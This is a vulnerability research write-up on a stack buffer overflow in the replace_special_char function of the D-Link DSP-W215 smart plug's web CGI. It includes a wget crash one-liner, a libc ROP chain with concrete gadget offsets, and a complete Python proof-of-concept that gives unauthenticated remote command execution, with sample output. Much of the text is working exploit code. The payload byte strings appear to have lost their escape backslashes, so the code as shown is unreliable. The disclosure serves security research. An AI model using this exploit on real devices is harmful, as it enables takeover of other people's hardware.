Here we go again…again.
In the last DSP-W215 exploit, I mentioned that the exploit’s POST parameter name had to be “storage_path” in order to prevent the get_input_entries function from crashing prematurely. That’s because there is another stack overflow, this time in the replace_special_char function, which is called by get_input_entries if the POST parameter name is neither “storage_path” nor “path”:
The replace_special_char function is passed a single argument which is a pointer to the current POST value being processed:
The replace_special_char function is responsible for URL decoding a small set of common ASCII characters:
To do so, it first takes the string length of the POST value that was passed to it by get_input_entries:
And loops through post_value_length bytes:
Essentially, it’s doing this:
void replace_special_char(char *post_data) { char decode_buf[0x258]; int post_value_length, i = 0, j = 0; memset(decode_buf, 0, sizeof(decode_buf)); post_value_length = strlen(post_data); while(i < post_value_length) { /* * ... * If post_data[i] == '%', then it's URL encoded; try to decode it here * (as long as the POST data isn't URL encoded, this code does nothing, * so it's not shown). * ... */ // No bounds checking on index j! decode_buf[j] = post_data[i]; j++; i++; } ... return; }
Examining the stack layout of replace_special_char, a POST parameter with a value of 612 bytes will overflow everything up to the first saved register ($s0) on the stack, and another 36 bytes gets us to the saved $ra:
# Overflow $ra with 0x42424242 wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi
Since the decoding loop uses strlen to determine how many bytes to copy into decode_buf, our only restriction is that our POST data can’t contain NULL bytes. This means that the return address used in previous exploits won’t work, since it contains a NULL byte, but we can ROP into libc to acheive the same effect.
At offset 0xBA50 inside libc there is a gadget that points the $a1 register to the stack (specifically, $sp+0xB8) and then jumps to whatever address is contained in the $s1 register:
If during the stack overflow we overwrite $s1 with the address of offset 0x34640, execution will jump to the next gadget, which moves $a1 into $a0 (the first function argument register), then calls whatever function address is in $s0:
As long as we ensure that $s0 points to the system() function (at offset 0x4BC80 in libc), we’ll effectively call system with a pointer to the stack:
system($sp+0xB8);
After adding libc’s base address (0x2AB61000) to these offests, we can write some PoC code to test the vulnerability:
#!/usr/bin/env python # Exploits overflow in replace_special_char. import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "foo=" # POST parameter name can be anything buf += "E" * 612 # Stack filler buf += "x2AxBAxCCx80" # $s0, address of system() buf += "x2AxB9x56x40" # $s1, address of ROP2 buf += "F" * 4 # $s2, don't care buf += "F" * 4 # $s3, don't care buf += "F" * 4 # $s4, don't care buf += "F" * 4 # $s5, don't care buf += "F" * 4 # $s6, don't care buf += "F" * 4 # $s7, don't care buf += "F" * 4 # $fp, don't care buf += "x2AxB6xCAx50" # $ra, address of ROP1 buf += "G" * 0xB8 # Stack filler buf += command # Command to execute req = urllib2.Request(url, buf) print urllib2.urlopen(req).read()
And, as before, we can execute any command, and get the output as well:
$ ./exploit2.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 22 19:18 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www